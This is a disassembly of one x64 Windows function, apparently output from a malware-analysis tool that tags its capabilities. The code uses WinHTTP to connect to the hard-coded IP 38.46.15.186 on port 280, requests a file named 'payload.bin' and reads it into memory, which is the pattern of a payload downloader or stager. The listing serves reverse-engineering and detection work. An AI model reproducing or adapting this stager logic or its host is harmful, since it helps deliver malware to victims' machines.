Function at 0x1400014e8
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xf8
mov qword [rbp - 9], 0xfffffffffffffffe
mov rdi, rcx
xor r13d, r13d
mov qword [rbp - 0x71], r13
xor eax, eax
mov qword [rbp - 0x69], rax
mov qword [rsp + 0x40], r13
lea ecx, [rax + 0x10]
call fcn.140004060
mov qword [rbp - 0x49], r13
test rax, rax
je 0x140001c09
mov qword [rsp + 0x40], rax
mov qword [rbp - 0x41], r13
movups xmm0, xmmword [rbp - 0x49]
movdqu xmmword [rax], xmm0
lea rcx, [rsp + 0x40]
mov rax, qword [rsp + 0x40]
mov qword [rax], rcx
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
mov dword [rbp + 0x6f], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Example_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbp + 0x7f], rax
test rax, rax
jne 0x14000165d
lea ebx, [rax + 3]
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400015e9
cmp qword [rsp + 0x40], r13
je 0x1400015e4
mov edx, ebx
lea rcx, [rbp + 0x67]
call fcn.1400029e0
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], r13
je 0x1400015d2
mov rax, qword [r11 + 8]
mov qword [rax], r13
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
test rcx, rcx
jne 0x1400015b5
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], r13
lea rcx, [rbp + 0x67]
call fcn.140002a30
mov rcx, qword [rsp + 0x48]
call fcn.1400030f0
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001647
mov edx, ebx
lea rcx, [rbp + 0x67]
call fcn.1400029e0
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], r13
je 0x140001635
mov rax, qword [r11 + 8]
mov qword [rax], r13
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
test rcx, rcx
jne 0x140001618
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], r13
lea rcx, [rbp + 0x67]
call fcn.140002a30
mov rcx, qword [rsp + 0x40]
call fcn.1400030f0
nop
movups xmm0, xmmword [rbp - 0x71]
movdqu xmmword [rdi], xmm0
mov rax, rdi
jmp 0x140001c32
mov r8d, 0x118
xor r9d, r9d
lea rdx, str.38.46.15.186
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r14, rax
test rax, rax
jne 0x140001749
lea ebx, [rax + 3]
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400016e0
cmp qword [rsp + 0x40], r13
je 0x1400016db
mov edx, ebx
lea rcx, [rbp + 0x67]
call fcn.1400029e0
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], r13
je 0x1400016c9
mov rax, qword [r11 + 8]
mov qword [rax], r13
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
test rcx, rcx
jne 0x1400016ac
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], r13
lea rcx, [rbp + 0x67]
call fcn.140002a30
mov rcx, qword [rsp + 0x48]
call fcn.1400030f0
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14000173e
mov edx, ebx
lea rcx, [rbp + 0x67]
call fcn.1400029e0
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], r13
je 0x14000172c
mov rax, qword [r11 + 8]
mov qword [rax], r13
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
test rcx, rcx
jne 0x14000170f
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], r13
lea rcx, [rbp + 0x67]
call fcn.140002a30
mov rcx, qword [rsp + 0x40]
call fcn.1400030f0
nop
jmp 0x14000164d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.payload.bin
lea rdx, [0x1400295d0]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rsi, rax
test rax, rax
jne 0x140001845
lea ebx, [rax + 3]
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400017dc
cmp qword [rsp + 0x40], r13
je 0x1400017d7
mov edx, ebx
lea rcx, [rbp + 0x67]
call fcn.1400029e0
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], r13
je 0x1400017c5
mov rax, qword [r11 + 8]
mov qword [rax], r13
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
test rcx, rcx
jne 0x1400017a8
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], r13
lea rcx, [rbp + 0x67]
call fcn.140002a30
mov rcx, qword [rsp + 0x48]
call fcn.1400030f0
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14000183a
mov edx, ebx
lea rcx, [rbp + 0x67]
call fcn.1400029e0
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], r13
je 0x140001828
mov rax, qword [r11 + 8]
mov qword [rax], r13
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
test rcx, rcx
jne 0x14000180b
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], r13
lea rcx, [rbp + 0x67]
call fcn.140002a30
mov rcx, qword [rsp + 0x40]
call fcn.1400030f0
nop
jmp 0x14000164d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x140001934
lea ebx, [rax + 3]
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400018cb
cmp qword [rsp + 0x40], r13
je 0x1400018c6
mov edx, ebx
lea rcx, [rbp + 0x67]
call fcn.1400029e0
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], r13
je 0x1400018b4
mov rax, qword [r11 + 8]
mov qword [rax], r13
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
test rcx, rcx
jne 0x140001897
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], r13
lea rcx, [rbp + 0x67]
call fcn.140002a30
mov rcx, qword [rsp + 0x48]
call fcn.1400030f0
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001929
mov edx, ebx
lea rcx, [rbp + 0x67]
call fcn.1400029e0
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], r13
je 0x140001917
mov rax, qword [r11 + 8]
mov qword [rax], r13
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
test rcx, rcx
jne 0x1400018fa
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], r13
lea rcx, [rbp + 0x67]
call fcn.140002a30
mov rcx, qword [rsp + 0x40]
call fcn.1400030f0
nop
jmp 0x14000164d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140001a3c
jmp 0x140001a1e
mov ecx, r11d
call fcn.140002d50
mov rbx, rax
mov r8d, dword [rbp + 0x67]
xor edx, edx
mov rcx, rax
call fcn.14000d370
lea r9, [rbp + 0x6f]
mov r8d, dword [rbp + 0x67]
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x140001a16
lea rdx, [rbp - 1]
lea rcx, [rsp + 0x40]
call fcn.140001e7c
mov r12, rax
mov rdx, r13
mov qword [rbp - 0x61], rdx
mov qword [rbp - 0x59], r13
mov rcx, qword [rax]
test rcx, rcx
je 0x1400019b5
mov rdx, qword [rcx]
lea rcx, [rbp - 0x61]
call fcn.140001134
mov rdx, qword [rbp - 0x61]
mov rax, qword [r12 + 0x10]
mov qword [rbp - 0x51], rax
lea rcx, [rbp - 0x61]
mov qword [rbp + 0x77], rcx
mov r12d, dword [rbp + 0x6f]
add r12, rbx
mov qword [rbp - 0x39], r13
mov qword [rbp - 0x31], r13
test rdx, rdx
je 0x1400019ea
mov rdx, qword [rdx]
lea rcx, [rbp - 0x39]
call fcn.140001134
mov rax, qword [rbp - 0x51]
mov qword [rbp - 0x29], rax
mov r9, r12
mov r8, rbx
lea rdx, [rbp - 0x39]
lea rcx, [rsp + 0x40]
call fcn.1400022c4
nop
lea rcx, [rbp - 0x61]
call fcn.1400010a8
nop
lea rcx, [rbp - 1]
call fcn.1400010a8
mov rcx, rbx
call fcn.1400031b0
mov dword [rbp + 0x67], r13d
lea rdx, [rbp + 0x67]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov r11d, dword [rbp + 0x67]
test r11d, r11d
jne 0x14000194c
mov r12, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
cmp r12, rbx
je 0x140001b23
sub rbx, r12
mov r15, rbx
mov rcx, rbx
call fcn.1400035e0
mov rcx, rax
mov qword [rbp + 0x77], rax
mov edx, r13d
mov dword [rbp + 0x67], edx
test rbx, rbx
je 0x140001b18
cmp rbx, r13
ja 0x140001aed
mov r8d, 0x3a4
lea rdx, str.C:Program_Files__x86_Microsoft_Visual_Studio_10.0VCinclude_vector
lea rcx, str.vector_subscript_out_of_range
call fcn.140002a70
lea r11, str._Standard_C_Libraries_Out_of_Range___0
mov qword [rsp + 0x20], r11
xor r9d, r9d
mov ebx, 0x3a5
mov r8d, ebx
lea rdx, str.C:Program_Files__x86_Microsoft_Visual_Studio_10.0VCinclude_vector
lea ecx, [r9 + 2]
call fcn.140003620
cmp eax, 1
jne 0x140001abe
int3
and qword [rsp + 0x20], 0
mov r9d, ebx
lea r8, str.C:Program_Files__x86_Microsoft_Visual_Studio_10.0VCinclude_vector
lea rdx, str.std::vector_unsigned_char_class_std::allocator_unsigned_char___::operator___
lea rcx, str._out_of_range_
call fcn.140003db0
mov r12, qword [rsp + 0x48]
mov rcx, qword [rbp + 0x77]
mov edx, dword [rbp + 0x67]
mov al, byte [r13 + r12]
mov byte [r13 + rcx], al
inc edx
mov dword [rbp + 0x67], edx
inc r13
mov rbx, qword [rsp + 0x50]
mov r12, qword [rsp + 0x48]
sub rbx, r12
movsxd rax, edx
cmp rax, rbx
jb 0x140001a73
mov qword [rbp - 0x71], rcx
mov qword [rbp - 0x69], r15
xor r13d, r13d
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp + 0x7f]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov ebx, 3
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140001ba0
cmp qword [rsp + 0x40], r13
je 0x140001b9b
mov edx, ebx
lea rcx, [rbp + 0x67]
call fcn.1400029e0
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], r13
je 0x140001b89
mov rax, qword [r11 + 8]
mov qword [rax], r13
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
test rcx, rcx
jne 0x140001b6c
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], r13
lea rcx, [rbp + 0x67]
call fcn.140002a30
mov rcx, qword [rsp + 0x48]
call fcn.1400030f0
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001bfe
mov edx, ebx
lea rcx, [rbp + 0x67]
call fcn.1400029e0
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], r13
je 0x140001bec
mov rax, qword [r11 + 8]
mov qword [rax], r13
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
test rcx, rcx
jne 0x140001bcf
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], r13
lea rcx, [rbp + 0x67]
call fcn.140002a30
mov rcx, qword [rsp + 0x40]
call fcn.1400030f0
nop
jmp 0x14000164d
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x21]
call fcn.140002e80
lea r11, vtable.std::bad_alloc.0
mov qword [rbp - 0x21], r11
lea rdx, [0x14002b150]
lea rcx, [rbp - 0x21]
call fcn.140004610
nop
add rsp, 0xf8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret